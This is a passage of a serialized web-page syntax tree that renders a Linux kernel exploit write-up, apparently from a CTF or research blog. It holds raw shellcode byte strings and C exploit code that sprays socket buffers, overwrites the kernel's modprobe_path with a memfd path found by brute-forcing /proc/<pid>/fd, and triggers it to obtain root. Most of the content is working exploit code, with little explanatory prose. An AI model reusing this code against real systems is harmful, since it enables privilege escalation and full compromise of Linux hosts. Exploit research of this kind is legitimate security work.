0x8",{"type":23,"tag":213,"props":59397,"children":59398},{"style":220},[59399],{"type":28,"value":424},{"type":23,"tag":213,"props":59401,"children":59402},{"style":246},[59403],{"type":28,"value":20114},{"type":23,"tag":213,"props":59405,"children":59406},{"style":48425},[59407],{"type":28,"value":59408},"\\xb8\\x10\\x00\\x00\\x00\\x8e\\xd8\\x8e\\xc0\\x8e\\xd0\\xbf",{"type":23,"tag":213,"props":59410,"children":59411},{"style":246},[59412],{"type":28,"value":20114},{"type":23,"tag":213,"props":59414,"children":59415},{"style":220},[59416],{"type":28,"value":424},{"type":23,"tag":213,"props":59418,"children":59419},{"style":514},[59420],{"type":28,"value":59421},"12",{"type":23,"tag":213,"props":59423,"children":59424},{"style":220},[59425],{"type":28,"value":298},{"type":23,"tag":213,"props":59427,"children":59428},{"style":274},[59429],{"type":28,"value":8660},{"type":23,"tag":213,"props":59431,"children":59432},{"style":514},[59433],{"type":28,"value":517},{"type":23,"tag":213,"props":59435,"children":59436},{"style":274},[59437],{"type":28,"value":52737},{"type":23,"tag":213,"props":59439,"children":59440},{"class":215,"line":1812},[59441,59445,59449,59453,59458,59462,59466,59471,59475,59479,59483,59487,59491,59495],{"type":23,"tag":213,"props":59442,"children":59443},{"style":257},[59444],{"type":28,"value":59223},{"type":23,"tag":213,"props":59446,"children":59447},{"style":220},[59448],{"type":28,"value":59165},{"type":23,"tag":213,"props":59450,"children":59451},{"style":274},[59452],{"type":28,"value":2703},{"type":23,"tag":213,"props":59454,"children":59455},{"style":514},[59456],{"type":28,"value":59457}," 0x18",{"type":23,"tag":213,"props":59459,"children":59460},{"style":220},[59461],{"type":28,"value":424},{"type":23,"tag":213,"props":59463,"children":59464},{"style":246},[59465],{"type":28,"value":20114},{"type":23,"tag":213,"props":59467,"children":59468},{"style":48425},[59469],{"type":28,"value":59470},"\\x89\\xde\\x8b\\x0d",{"type":23,"tag":213,"props":59472,"children":59473},{"style":246},[59474],{"type":28,"value":20114},{"type":23,"tag":213,"props":59476,"children":59477},{"style":220},[59478],{"type":28,"value":424},{"type":23,"tag":213,"props":59480,"children":59481},{"style":514},[59482],{"type":28,"value":17578},{"type":23,"tag":213,"props":59484,"children":59485},{"style":220},[59486],{"type":28,"value":298},{"type":23,"tag":213,"props":59488,"children":59489},{"style":274},[59490],{"type":28,"value":8660},{"type":23,"tag":213,"props":59492,"children":59493},{"style":514},[59494],{"type":28,"value":517},{"type":23,"tag":213,"props":59496,"children":59497},{"style":274},[59498],{"type":28,"value":52737},{"type":23,"tag":213,"props":59500,"children":59501},{"class":215,"line":1838},[59502,59506,59510,59514,59519,59523,59527,59532,59536,59540,59544,59548,59552,59556],{"type":23,"tag":213,"props":59503,"children":59504},{"style":257},[59505],{"type":28,"value":59223},{"type":23,"tag":213,"props":59507,"children":59508},{"style":220},[59509],{"type":28,"value":59165},{"type":23,"tag":213,"props":59511,"children":59512},{"style":274},[59513],{"type":28,"value":2703},{"type":23,"tag":213,"props":59515,"children":59516},{"style":514},[59517],{"type":28,"value":59518}," 0x20",{"type":23,"tag":213,"props":59520,"children":59521},{"style":220},[59522],{"type":28,"value":424},{"type":23,"tag":213,"props":59524,"children":59525},{"style":246},[59526],{"type":28,"value":20114},{"type":23,"tag":213,"props":59528,"children":59529},{"style":48425},[59530],{"type":28,"value":59531},"\\xc1\\xe9\\x02\\xf3\\xa5\\xbc",{"type":23,"tag":213,"props":59533,"children":59534},{"style":246},[59535],{"type":28,"value":20114},{"type":23,"tag":213,"props":59537,"children":59538},{"style":220},[59539],{"type":28,"value":424},{"type":23,"tag":213,"props":59541,"children":59542},{"style":514},[59543],{"type":28,"value":18471},{"type":23,"tag":213,"props":59545,"children":59546},{"style":220},[59547],{"type":28,"value":298},{"type":23,"tag":213,"props":59549,"children":59550},{"style":274},[59551],{"type":28,"value":8660},{"type":23,"tag":213,"props":59553,"children":59554},{"style":514},[59555],{"type":28,"value":517},{"type":23,"tag":213,"props":59557,"children":59558},{"style":274},[59559],{"type":28,"value":52737},{"type":23,"tag":213,"props":59561,"children":59562},{"class":215,"line":1851},[59563,59567,59571,59575,59580,59584,59588,59593,59597,59601,59606,59610,59614,59618],{"type":23,"tag":213,"props":59564,"children":59565},{"style":257},[59566],{"type":28,"value":59223},{"type":23,"tag":213,"props":59568,"children":59569},{"style":220},[59570],{"type":28,"value":59165},{"type":23,"tag":213,"props":59572,"children":59573},{"style":274},[59574],{"type":28,"value":2703},{"type":23,"tag":213,"props":59576,"children":59577},{"style":514},[59578],{"type":28,"value":59579}," 0x2a",{"type":23,"tag":213,"props":59581,"children":59582},{"style":220},[59583],{"type":28,"value":424},{"type":23,"tag":213,"props":59585,"children":59586},{"style":246},[59587],{"type":28,"value":20114},{"type":23,"tag":213,"props":59589,"children":59590},{"style":48425},[59591],{"type":28,"value":59592},"\\x0f\\x20\\xe0\\x83\\xc8\\x20\\x0f\\x22\\xe0\\xb9\\x80\\x00\\x00\\xc0\\x0f\\x32\\x0f\\xba\\xe8\\x08\\x0f\\x30\\xb8\\x00",{"type":23,"tag":213,"props":59594,"children":59595},{"style":246},[59596],{"type":28,"value":20114},{"type":23,"tag":213,"props":59598,"children":59599},{"style":220},[59600],{"type":28,"value":424},{"type":23,"tag":213,"props":59602,"children":59603},{"style":514},[59604],{"type":28,"value":59605},"24",{"type":23,"tag":213,"props":59607,"children":59608},{"style":220},[59609],{"type":28,"value":298},{"type":23,"tag":213,"props":59611,"children":59612},{"style":274},[59613],{"type":28,"value":8660},{"type":23,"tag":213,"props":59615,"children":59616},{"style":514},[59617],{"type":28,"value":517},{"type":23,"tag":213,"props":59619,"children":59620},{"style":274},[59621],{"type":28,"value":52737},{"type":23,"tag":213,"props":59623,"children":59624},{"class":215,"line":1864},[59625,59629,59633,59637,59642,59646,59650,59655,59659,59663,59668,59672,59676,59680],{"type":23,"tag":213,"props":59626,"children":59627},{"style":257},[59628],{"type":28,"value":59223},{"type":23,"tag":213,"props":59630,"children":59631},{"style":220},[59632],{"type":28,"value":59165},{"type":23,"tag":213,"props":59634,"children":59635},{"style":274},[59636],{"type":28,"value":2703},{"type":23,"tag":213,"props":59638,"children":59639},{"style":514},[59640],{"type":28,"value":59641}," 0x45",{"type":23,"tag":213,"props":59643,"children":59644},{"style":220},[59645],{"type":28,"value":424},{"type":23,"tag":213,"props":59647,"children":59648},{"style":246},[59649],{"type":28,"value":20114},{"type":23,"tag":213,"props":59651,"children":59652},{"style":48425},[59653],{"type":28,"value":59654},"\\x0f\\x22\\xd8\\xb8\\x01\\x00\\x00\\x80\\x0f\\x22\\xc0\\xea\\x57\\x00\\x00",{"type":23,"tag":213,"props":59656,"children":59657},{"style":246},[59658],{"type":28,"value":20114},{"type":23,"tag":213,"props":59660,"children":59661},{"style":220},[59662],{"type":28,"value":424},{"type":23,"tag":213,"props":59664,"children":59665},{"style":514},[59666],{"type":28,"value":59667},"15",{"type":23,"tag":213,"props":59669,"children":59670},{"style":220},[59671],{"type":28,"value":298},{"type":23,"tag":213,"props":59673,"children":59674},{"style":274},[59675],{"type":28,"value":8660},{"type":23,"tag":213,"props":59677,"children":59678},{"style":514},[59679],{"type":28,"value":517},{"type":23,"tag":213,"props":59681,"children":59682},{"style":274},[59683],{"type":28,"value":52737},{"type":23,"tag":213,"props":59685,"children":59686},{"class":215,"line":1890},[59687,59691,59695,59699,59704,59708,59712,59717,59721,59725,59729,59733,59737,59741],{"type":23,"tag":213,"props":59688,"children":59689},{"style":257},[59690],{"type":28,"value":59223},{"type":23,"tag":213,"props":59692,"children":59693},{"style":220},[59694],{"type":28,"value":59165},{"type":23,"tag":213,"props":59696,"children":59697},{"style":274},[59698],{"type":28,"value":2703},{"type":23,"tag":213,"props":59700,"children":59701},{"style":514},[59702],{"type":28,"value":59703}," 0x55",{"type":23,"tag":213,"props":59705,"children":59706},{"style":220},[59707],{"type":28,"value":424},{"type":23,"tag":213,"props":59709,"children":59710},{"style":246},[59711],{"type":28,"value":20114},{"type":23,"tag":213,"props":59713,"children":59714},{"style":48425},[59715],{"type":28,"value":59716},"\\x08\\x00\\xb9\\x01\\x01\\x00\\xc0\\xb8",{"type":23,"tag":213,"props":59718,"children":59719},{"style":246},[59720],{"type":28,"value":20114},{"type":23,"tag":213,"props":59722,"children":59723},{"style":220},[59724],{"type":28,"value":424},{"type":23,"tag":213,"props":59726,"children":59727},{"style":514},[59728],{"type":28,"value":4170},{"type":23,"tag":213,"props":59730,"children":59731},{"style":220},[59732],{"type":28,"value":298},{"type":23,"tag":213,"props":59734,"children":59735},{"style":274},[59736],{"type":28,"value":8660},{"type":23,"tag":213,"props":59738,"children":59739},{"style":514},[59740],{"type":28,"value":517},{"type":23,"tag":213,"props":59742,"children":59743},{"style":274},[59744],{"type":28,"value":52737},{"type":23,"tag":213,"props":59746,"children":59747},{"class":215,"line":1899},[59748,59752,59756,59760,59765,59769,59773,59778,59782,59786,59790,59794,59798,59802],{"type":23,"tag":213,"props":59749,"children":59750},{"style":257},[59751],{"type":28,"value":59223},{"type":23,"tag":213,"props":59753,"children":59754},{"style":220},[59755],{"type":28,"value":59165},{"type":23,"tag":213,"props":59757,"children":59758},{"style":274},[59759],{"type":28,"value":2703},{"type":23,"tag":213,"props":59761,"children":59762},{"style":514},[59763],{"type":28,"value":59764}," 0x61",{"type":23,"tag":213,"props":59766,"children":59767},{"style":220},[59768],{"type":28,"value":424},{"type":23,"tag":213,"props":59770,"children":59771},{"style":246},[59772],{"type":28,"value":20114},{"type":23,"tag":213,"props":59774,"children":59775},{"style":48425},[59776],{"type":28,"value":59777},"\\x31\\xd2\\x0f\\x30\\xe8",{"type":23,"tag":213,"props":59779,"children":59780},{"style":246},[59781],{"type":28,"value":20114},{"type":23,"tag":213,"props":59783,"children":59784},{"style":220},[59785],{"type":28,"value":424},{"type":23,"tag":213,"props":59787,"children":59788},{"style":514},[59789],{"type":28,"value":18159},{"type":23,"tag":213,"props":59791,"children":59792},{"style":220},[59793],{"type":28,"value":298},{"type":23,"tag":213,"props":59795,"children":59796},{"style":274},[59797],{"type":28,"value":8660},{"type":23,"tag":213,"props":59799,"children":59800},{"style":514},[59801],{"type":28,"value":517},{"type":23,"tag":213,"props":59803,"children":59804},{"style":274},[59805],{"type":28,"value":52737},{"type":23,"tag":213,"props":59807,"children":59808},{"class":215,"line":1912},[59809,59813,59817,59821,59826,59830,59834,59839,59843,59847,59851,59855,59859,59863],{"type":23,"tag":213,"props":59810,"children":59811},{"style":257},[59812],{"type":28,"value":59223},{"type":23,"tag":213,"props":59814,"children":59815},{"style":220},[59816],{"type":28,"value":59165},{"type":23,"tag":213,"props":59818,"children":59819},{"style":274},[59820],{"type":28,"value":2703},{"type":23,"tag":213,"props":59822,"children":59823},{"style":514},[59824],{"type":28,"value":59825}," 0x6a",{"type":23,"tag":213,"props":59827,"children":59828},{"style":220},[59829],{"type":28,"value":424},{"type":23,"tag":213,"props":59831,"children":59832},{"style":246},[59833],{"type":28,"value":20114},{"type":23,"tag":213,"props":59835,"children":59836},{"style":48425},[59837],{"type":28,"value":59838},"\\x48\\xc7\\xc6",{"type":23,"tag":213,"props":59840,"children":59841},{"style":246},[59842],{"type":28,"value":20114},{"type":23,"tag":213,"props":59844,"children":59845},{"style":220},[59846],{"type":28,"value":424},{"type":23,"tag":213,"props":59848,"children":59849},{"style":514},[59850],{"type":28,"value":17346},{"type":23,"tag":213,"props":59852,"children":59853},{"style":220},[59854],{"type":28,"value":298},{"type":23,"tag":213,"props":59856,"children":59857},{"style":274},[59858],{"type":28,"value":8660},{"type":23,"tag":213,"props":59860,"children":59861},{"style":514},[59862],{"type":28,"value":517},{"type":23,"tag":213,"props":59864,"children":59865},{"style":274},[59866],{"type":28,"value":52737},{"type":23,"tag":213,"props":59868,"children":59869},{"class":215,"line":1921},[59870,59874,59878,59882,59887,59891,59895,59900,59904,59908,59912,59916,59920,59924],{"type":23,"tag":213,"props":59871,"children":59872},{"style":257},[59873],{"type":28,"value":59223},{"type":23,"tag":213,"props":59875,"children":59876},{"style":220},[59877],{"type":28,"value":59165},{"type":23,"tag":213,"props":59879,"children":59880},{"style":274},[59881],{"type":28,"value":2703},{"type":23,"tag":213,"props":59883,"children":59884},{"style":514},[59885],{"type":28,"value":59886}," 0x71",{"type":23,"tag":213,"props":59888,"children":59889},{"style":220},[59890],{"type":28,"value":424},{"type":23,"tag":213,"props":59892,"children":59893},{"style":246},[59894],{"type":28,"value":20114},{"type":23,"tag":213,"props":59896,"children":59897},{"style":48425},[59898],{"type":28,"value":59899},"\\x48\\xc7\\xc0\\x80\\x00\\x00",{"type":23,"tag":213,"props":59901,"children":59902},{"style":246},[59903],{"type":28,"value":20114},{"type":23,"tag":213,"props":59905,"children":59906},{"style":220},[59907],{"type":28,"value":424},{"type":23,"tag":213,"props":59909,"children":59910},{"style":514},[59911],{"type":28,"value":18471},{"type":23,"tag":213,"props":59913,"children":59914},{"style":220},[59915],{"type":28,"value":298},{"type":23,"tag":213,"props":59917,"children":59918},{"style":274},[59919],{"type":28,"value":8660},{"type":23,"tag":213,"props":59921,"children":59922},{"style":514},[59923],{"type":28,"value":517},{"type":23,"tag":213,"props":59925,"children":59926},{"style":274},[59927],{"type":28,"value":52737},{"type":23,"tag":213,"props":59929,"children":59930},{"class":215,"line":3879},[59931,59935,59939,59943,59948,59952,59956,59961,59965,59969,59973,59977,59981,59985],{"type":23,"tag":213,"props":59932,"children":59933},{"style":257},[59934],{"type":28,"value":59223},{"type":23,"tag":213,"props":59936,"children":59937},{"style":220},[59938],{"type":28,"value":59165},{"type":23,"tag":213,"props":59940,"children":59941},{"style":274},[59942],{"type":28,"value":2703},{"type":23,"tag":213,"props":59944,"children":59945},{"style":514},[59946],{"type":28,"value":59947}," 0x78",{"type":23,"tag":213,"props":59949,"children":59950},{"style":220},[59951],{"type":28,"value":424},{"type":23,"tag":213,"props":59953,"children":59954},{"style":246},[59955],{"type":28,"value":20114},{"type":23,"tag":213,"props":59957,"children":59958},{"style":48425},[59959],{"type":28,"value":59960},"\\xff\\xe0",{"type":23,"tag":213,"props":59962,"children":59963},{"style":246},[59964],{"type":28,"value":20114},{"type":23,"tag":213,"props":59966,"children":59967},{"style":220},[59968],{"type":28,"value":424},{"type":23,"tag":213,"props":59970,"children":59971},{"style":514},[59972],{"type":28,"value":3221},{"type":23,"tag":213,"props":59974,"children":59975},{"style":220},[59976],{"type":28,"value":298},{"type":23,"tag":213,"props":59978,"children":59979},{"style":274},[59980],{"type":28,"value":8660},{"type":23,"tag":213,"props":59982,"children":59983},{"style":514},[59984],{"type":28,"value":517},{"type":23,"tag":213,"props":59986,"children":59987},{"style":220},[59988],{"type":28,"value":2183},{"type":23,"tag":213,"props":59990,"children":59991},{"class":215,"line":3887},[59992,59996,60000],{"type":23,"tag":213,"props":59993,"children":59994},{"style":1362},[59995],{"type":28,"value":2839},{"type":23,"tag":213,"props":59997,"children":59998},{"style":230},[59999],{"type":28,"value":12551},{"type":23,"tag":213,"props":60001,"children":60002},{"style":220},[60003],{"type":28,"value":313},{"type":23,"tag":213,"props":60005,"children":60006},{"class":215,"line":3918},[60007],{"type":23,"tag":213,"props":60008,"children":60009},{"emptyLinePlaceholder":18},[60010],{"type":28,"value":530},{"type":23,"tag":213,"props":60012,"children":60013},{"class":215,"line":3926},[60014,60018,60022],{"type":23,"tag":213,"props":60015,"children":60016},{"style":1362},[60017],{"type":28,"value":17040},{"type":23,"tag":213,"props":60019,"children":60020},{"style":230},[60021],{"type":28,"value":9143},{"type":23,"tag":213,"props":60023,"children":60024},{"style":220},[60025],{"type":28,"value":313},{"type":23,"tag":213,"props":60027,"children":60028},{"class":215,"line":3986},[60029],{"type":23,"tag":213,"props":60030,"children":60031},{"style":220},[60032],{"type":28,"value":1208},{"type":23,"tag":213,"props":60034,"children":60035},{"class":215,"line":9132},[60036],{"type":23,"tag":213,"props":60037,"children":60038},{"style":220},[60039],{"type":28,"value":10401},{"type":23,"tag":9693,"props":60041,"children":60043},{"id":60042},"overwriting-modprobe_path",[60044,60046],{"type":28,"value":60045},"Overwriting ",{"type":23,"tag":209,"props":60047,"children":60049},{"className":60048},[],[60050],{"type":28,"value":58431},{"type":23,"tag":24,"props":60052,"children":60053},{},[60054,60056,60062],{"type":28,"value":60055},"Finding the ",{"type":23,"tag":209,"props":60057,"children":60059},{"className":60058},[],[60060],{"type":28,"value":60061},"/sbin/modprobe",{"type":28,"value":60063}," string in kernel memory and replacing it with a controlled value that points to a file we own finally becomes relatively trivial.",{"type":23,"tag":24,"props":60065,"children":60066},{},[60067,60069,60075],{"type":28,"value":60068},"A very well-known trick for this to work, although we are running in a chroot without being able to create files at the root filesystem, is using a memfd exposed through ",{"type":23,"tag":209,"props":60070,"children":60072},{"className":60071},[],[60073],{"type":28,"value":60074},"/proc/\u003Cpid>/fd/\u003Cn>.",{"type":28,"value":60076}," It's worth adding that, given that our pid outside the unprivileged namespace is unknown to us, we brute-force it.",{"type":23,"tag":202,"props":60078,"children":60080},{"className":29167,"code":60079,"language":29169,"meta":7,"style":7},"[...]\n puts(\"[*] overwrite modprobe_path\");\n for (int i = 0; i \u003C 4194304; i++)\n {\n pipebuf->page = modprobe_page;\n pipebuf->offset = modprobe_off;\n pipebuf->len = 0;\n for (int i = 0; i \u003C SKBUF_SPRAY; i++)\n {\n if (write(sock[i][0], pipebuf, 1024 - 320) \u003C 0)\n {\n perror(\"[-] write(socket)\");\n break;\n }\n }\n\n memset(&data, 0, PAGE_SIZE);\n snprintf(fd_path, sizeof(fd_path), \"/proc/%i/fd/%i\", i, modprobe_fd);\n\n lseek(modprobe_fd, 0, SEEK_SET);\n dprintf(modprobe_fd, MODPROBE_SCRIPT, i, status_fd, i, stdin_fd, i, stdout_fd);\n\n if (write(pfd[pipe_idx][1], fd_path, 32) \u003C 0)\n {\n perror(\"\\n[-] write(pipe)\");\n }\n\n if (check_modprobe(fd_path))\n {\n puts(\"[-] failed to overwrite modprobe\");\n break;\n }\n\n if (trigger_modprobe(status_fd))\n {\n puts(\"\\n[+] got root\");\n goto out;\n }\n\n for (int i = 0; i \u003C SKBUF_SPRAY; i++)\n {\n if (read(sock[i][1], leak, 1024 - 320) \u003C 0)\n {\n perror(\"[-] read(socket)\");\n return -1;\n }\n }\n }\n puts(\"[-] fake modprobe failed\");\n[...]\n",[60081],{"type":23,"tag":209,"props":60082,"children":60083},{"__ignoreMap":7},[60084,60091,60113,60121,60128,60136,60144,60152,60160,60167,60175,60182,60220,60231,60238,60245,60252,60279,60310,60317,60339,60352,60359,60417,60424,60452,60459,60466,60487,60494,60515,60526,60533,60540,60561,60568,60596,60609,60616,60623,60672,60679,60747,60754,60775,60795,60802,60809,60816,60836],{"type":23,"tag":213,"props":60085,"children":60086},{"class":215,"line":216},[60087],{"type":23,"tag":213,"props":60088,"children":60089},{"style":220},[60090],{"type":28,"value":10401},{"type":23,"tag":213,"props":60092,"children":60093},{"class":215,"line":226},[60094,60099,60104,60109],{"type":23,"tag":213,"props":60095,"children":60096},{"style":220},[60097],{"type":28,"value":60098}," puts(\"[*] ",{"type":23,"tag":213,"props":60100,"children":60101},{"style":290},[60102],{"type":28,"value":60103},"overwrite",{"type":23,"tag":213,"props":60105,"children":60106},{"style":290},[60107],{"type":28,"value":60108}," modprobe_path",{"type":23,"tag":213,"props":60110,"children":60111},{"style":246},[60112],{"type":28,"value":56344},{"type":23,"tag":213,"props":60114,"children":60115},{"class":215,"line":524},[60116],{"type":23,"tag":213,"props":60117,"children":60118},{"style":246},[60119],{"type":28,"value":60120}," for (int i = 0; i \u003C 4194304; i++)\n",{"type":23,"tag":213,"props":60122,"children":60123},{"class":215,"line":533},[60124],{"type":23,"tag":213,"props":60125,"children":60126},{"style":246},[60127],{"type":28,"value":2725},{"type":23,"tag":213,"props":60129,"children":60130},{"class":215,"line":543},[60131],{"type":23,"tag":213,"props":60132,"children":60133},{"style":246},[60134],{"type":28,"value":60135}," pipebuf->page = modprobe_page;\n",{"type":23,"tag":213,"props":60137,"children":60138},{"class":215,"line":551},[60139],{"type":23,"tag":213,"props":60140,"children":60141},{"style":246},[60142],{"type":28,"value":60143}," pipebuf->offset = modprobe_off;\n",{"type":23,"tag":213,"props":60145,"children":60146},{"class":215,"line":570},[60147],{"type":23,"tag":213,"props":60148,"children":60149},{"style":246},[60150],{"type":28,"value":60151}," pipebuf->len = 0;\n",{"type":23,"tag":213,"props":60153,"children":60154},{"class":215,"line":655},[60155],{"type":23,"tag":213,"props":60156,"children":60157},{"style":246},[60158],{"type":28,"value":60159}," for (int i = 0; i \u003C SKBUF_SPRAY; i++)\n",{"type":23,"tag":213,"props":60161,"children":60162},{"class":215,"line":1176},[60163],{"type":23,"tag":213,"props":60164,"children":60165},{"style":246},[60166],{"type":28,"value":31715},{"type":23,"tag":213,"props":60168,"children":60169},{"class":215,"line":1202},[60170],{"type":23,"tag":213,"props":60171,"children":60172},{"style":246},[60173],{"type":28,"value":60174}," if (write(sock[i][0], pipebuf, 1024 - 320) \u003C 0)\n",{"type":23,"tag":213,"props":60176,"children":60177},{"class":215,"line":1758},[60178],{"type":23,"tag":213,"props":60179,"children":60180},{"style":246},[60181],{"type":28,"value":31751},{"type":23,"tag":213,"props":60183,"children":60184},{"class":215,"line":1767},[60185,60190,60194,60198,60202,60207,60211,60215],{"type":23,"tag":213,"props":60186,"children":60187},{"style":246},[60188],{"type":28,"value":60189}," perror(\"",{"type":23,"tag":213,"props":60191,"children":60192},{"style":220},[60193],{"type":28,"value":3821},{"type":23,"tag":213,"props":60195,"children":60196},{"style":274},[60197],{"type":28,"value":4423},{"type":23,"tag":213,"props":60199,"children":60200},{"style":220},[60201],{"type":28,"value":8746},{"type":23,"tag":213,"props":60203,"children":60204},{"style":290},[60205],{"type":28,"value":60206},"write",{"type":23,"tag":213,"props":60208,"children":60209},{"style":220},[60210],{"type":28,"value":265},{"type":23,"tag":213,"props":60212,"children":60213},{"style":290},[60214],{"type":28,"value":41994},{"type":23,"tag":213,"props":60216,"children":60217},{"style":220},[60218],{"type":28,"value":60219},")\");\n",{"type":23,"tag":213,"props":60221,"children":60222},{"class":215,"line":1789},[60223,60227],{"type":23,"tag":213,"props":60224,"children":60225},{"style":1362},[60226],{"type":28,"value":59013},{"type":23,"tag":213,"props":60228,"children":60229},{"style":220},[60230],{"type":28,"value":313},{"type":23,"tag":213,"props":60232,"children":60233},{"class":215,"line":1812},[60234],{"type":23,"tag":213,"props":60235,"children":60236},{"style":220},[60237],{"type":28,"value":58938},{"type":23,"tag":213,"props":60239,"children":60240},{"class":215,"line":1838},[60241],{"type":23,"tag":213,"props":60242,"children":60243},{"style":220},[60244],{"type":28,"value":3444},{"type":23,"tag":213,"props":60246,"children":60247},{"class":215,"line":1851},[60248],{"type":23,"tag":213,"props":60249,"children":60250},{"emptyLinePlaceholder":18},[60251],{"type":28,"value":530},{"type":23,"tag":213,"props":60253,"children":60254},{"class":215,"line":1864},[60255,60259,60263,60267,60271,60275],{"type":23,"tag":213,"props":60256,"children":60257},{"style":257},[60258],{"type":28,"value":54670},{"type":23,"tag":213,"props":60260,"children":60261},{"style":220},[60262],{"type":28,"value":265},{"type":23,"tag":213,"props":60264,"children":60265},{"style":274},[60266],{"type":28,"value":405},{"type":23,"tag":213,"props":60268,"children":60269},{"style":220},[60270],{"type":28,"value":58824},{"type":23,"tag":213,"props":60272,"children":60273},{"style":514},[60274],{"type":28,"value":4116},{"type":23,"tag":213,"props":60276,"children":60277},{"style":220},[60278],{"type":28,"value":58833},{"type":23,"tag":213,"props":60280,"children":60281},{"class":215,"line":1890},[60282,60286,60291,60295,60300,60305],{"type":23,"tag":213,"props":60283,"children":60284},{"style":257},[60285],{"type":28,"value":55371},{"type":23,"tag":213,"props":60287,"children":60288},{"style":220},[60289],{"type":28,"value":60290},"(fd_path, ",{"type":23,"tag":213,"props":60292,"children":60293},{"style":230},[60294],{"type":28,"value":55381},{"type":23,"tag":213,"props":60296,"children":60297},{"style":220},[60298],{"type":28,"value":60299},"(fd_path), ",{"type":23,"tag":213,"props":60301,"children":60302},{"style":246},[60303],{"type":28,"value":60304},"\"/proc/%i/fd/%i\"",{"type":23,"tag":213,"props":60306,"children":60307},{"style":220},[60308],{"type":28,"value":60309},", i, modprobe_fd);\n",{"type":23,"tag":213,"props":60311,"children":60312},{"class":215,"line":1899},[60313],{"type":23,"tag":213,"props":60314,"children":60315},{"emptyLinePlaceholder":18},[60316],{"type":28,"value":530},{"type":23,"tag":213,"props":60318,"children":60319},{"class":215,"line":1912},[60320,60325,60330,60334],{"type":23,"tag":213,"props":60321,"children":60322},{"style":257},[60323],{"type":28,"value":60324}," lseek",{"type":23,"tag":213,"props":60326,"children":60327},{"style":220},[60328],{"type":28,"value":60329},"(modprobe_fd, ",{"type":23,"tag":213,"props":60331,"children":60332},{"style":514},[60333],{"type":28,"value":4116},{"type":23,"tag":213,"props":60335,"children":60336},{"style":220},[60337],{"type":28,"value":60338},", SEEK_SET);\n",{"type":23,"tag":213,"props":60340,"children":60341},{"class":215,"line":1921},[60342,60347],{"type":23,"tag":213,"props":60343,"children":60344},{"style":257},[60345],{"type":28,"value":60346}," dprintf",{"type":23,"tag":213,"props":60348,"children":60349},{"style":220},[60350],{"type":28,"value":60351},"(modprobe_fd, MODPROBE_SCRIPT, i, status_fd, i, stdin_fd, i, stdout_fd);\n",{"type":23,"tag":213,"props":60353,"children":60354},{"class":215,"line":3879},[60355],{"type":23,"tag":213,"props":60356,"children":60357},{"emptyLinePlaceholder":18},[60358],{"type":28,"value":530},{"type":23,"tag":213,"props":60360,"children":60361},{"class":215,"line":3887},[60362,60366,60370,60374,60378,60382,60387,60391,60396,60401,60405,60409,60413],{"type":23,"tag":213,"props":60363,"children":60364},{"style":1362},[60365],{"type":28,"value":3369},{"type":23,"tag":213,"props":60367,"children":60368},{"style":220},[60369],{"type":28,"value":400},{"type":23,"tag":213,"props":60371,"children":60372},{"style":257},[60373],{"type":28,"value":60206},{"type":23,"tag":213,"props":60375,"children":60376},{"style":220},[60377],{"type":28,"value":265},{"type":23,"tag":213,"props":60379,"children":60380},{"style":268},[60381],{"type":28,"value":58877},{"type":23,"tag":213,"props":60383,"children":60384},{"style":220},[60385],{"type":28,"value":60386},"[pipe_idx][",{"type":23,"tag":213,"props":60388,"children":60389},{"style":514},[60390],{"type":28,"value":4106},{"type":23,"tag":213,"props":60392,"children":60393},{"style":220},[60394],{"type":28,"value":60395},"], fd_path, ",{"type":23,"tag":213,"props":60397,"children":60398},{"style":514},[60399],{"type":28,"value":60400},"32",{"type":23,"tag":213,"props":60402,"children":60403},{"style":220},[60404],{"type":28,"value":298},{"type":23,"tag":213,"props":60406,"children":60407},{"style":274},[60408],{"type":28,"value":434},{"type":23,"tag":213,"props":60410,"children":60411},{"style":514},[60412],{"type":28,"value":517},{"type":23,"tag":213,"props":60414,"children":60415},{"style":220},[60416],{"type":28,"value":2183},{"type":23,"tag":213,"props":60418,"children":60419},{"class":215,"line":3918},[60420],{"type":23,"tag":213,"props":60421,"children":60422},{"style":220},[60423],{"type":28,"value":31715},{"type":23,"tag":213,"props":60425,"children":60426},{"class":215,"line":3926},[60427,60431,60435,60439,60443,60448],{"type":23,"tag":213,"props":60428,"children":60429},{"style":257},[60430],{"type":28,"value":57950},{"type":23,"tag":213,"props":60432,"children":60433},{"style":220},[60434],{"type":28,"value":265},{"type":23,"tag":213,"props":60436,"children":60437},{"style":246},[60438],{"type":28,"value":20114},{"type":23,"tag":213,"props":60440,"children":60441},{"style":48425},[60442],{"type":28,"value":48428},{"type":23,"tag":213,"props":60444,"children":60445},{"style":246},[60446],{"type":28,"value":60447},"[-] write(pipe)\"",{"type":23,"tag":213,"props":60449,"children":60450},{"style":220},[60451],{"type":28,"value":2867},{"type":23,"tag":213,"props":60453,"children":60454},{"class":215,"line":3986},[60455],{"type":23,"tag":213,"props":60456,"children":60457},{"style":220},[60458],{"type":28,"value":3444},{"type":23,"tag":213,"props":60460,"children":60461},{"class":215,"line":9132},[60462],{"type":23,"tag":213,"props":60463,"children":60464},{"emptyLinePlaceholder":18},[60465],{"type":28,"value":530},{"type":23,"tag":213,"props":60467,"children":60468},{"class":215,"line":9150},[60469,60473,60477,60482],{"type":23,"tag":213,"props":60470,"children":60471},{"style":1362},[60472],{"type":28,"value":3369},{"type":23,"tag":213,"props":60474,"children":60475},{"style":220},[60476],{"type":28,"value":400},{"type":23,"tag":213,"props":60478,"children":60479},{"style":257},[60480],{"type":28,"value":60481},"check_modprobe",{"type":23,"tag":213,"props":60483,"children":60484},{"style":220},[60485],{"type":28,"value":60486},"(fd_path))\n",{"type":23,"tag":213,"props":60488,"children":60489},{"class":215,"line":9195},[60490],{"type":23,"tag":213,"props":60491,"children":60492},{"style":220},[60493],{"type":28,"value":31715},{"type":23,"tag":213,"props":60495,"children":60496},{"class":215,"line":9301},[60497,60502,60506,60511],{"type":23,"tag":213,"props":60498,"children":60499},{"style":257},[60500],{"type":28,"value":60501}," puts",{"type":23,"tag":213,"props":60503,"children":60504},{"style":220},[60505],{"type":28,"value":265},{"type":23,"tag":213,"props":60507,"children":60508},{"style":246},[60509],{"type":28,"value":60510},"\"[-] failed to overwrite 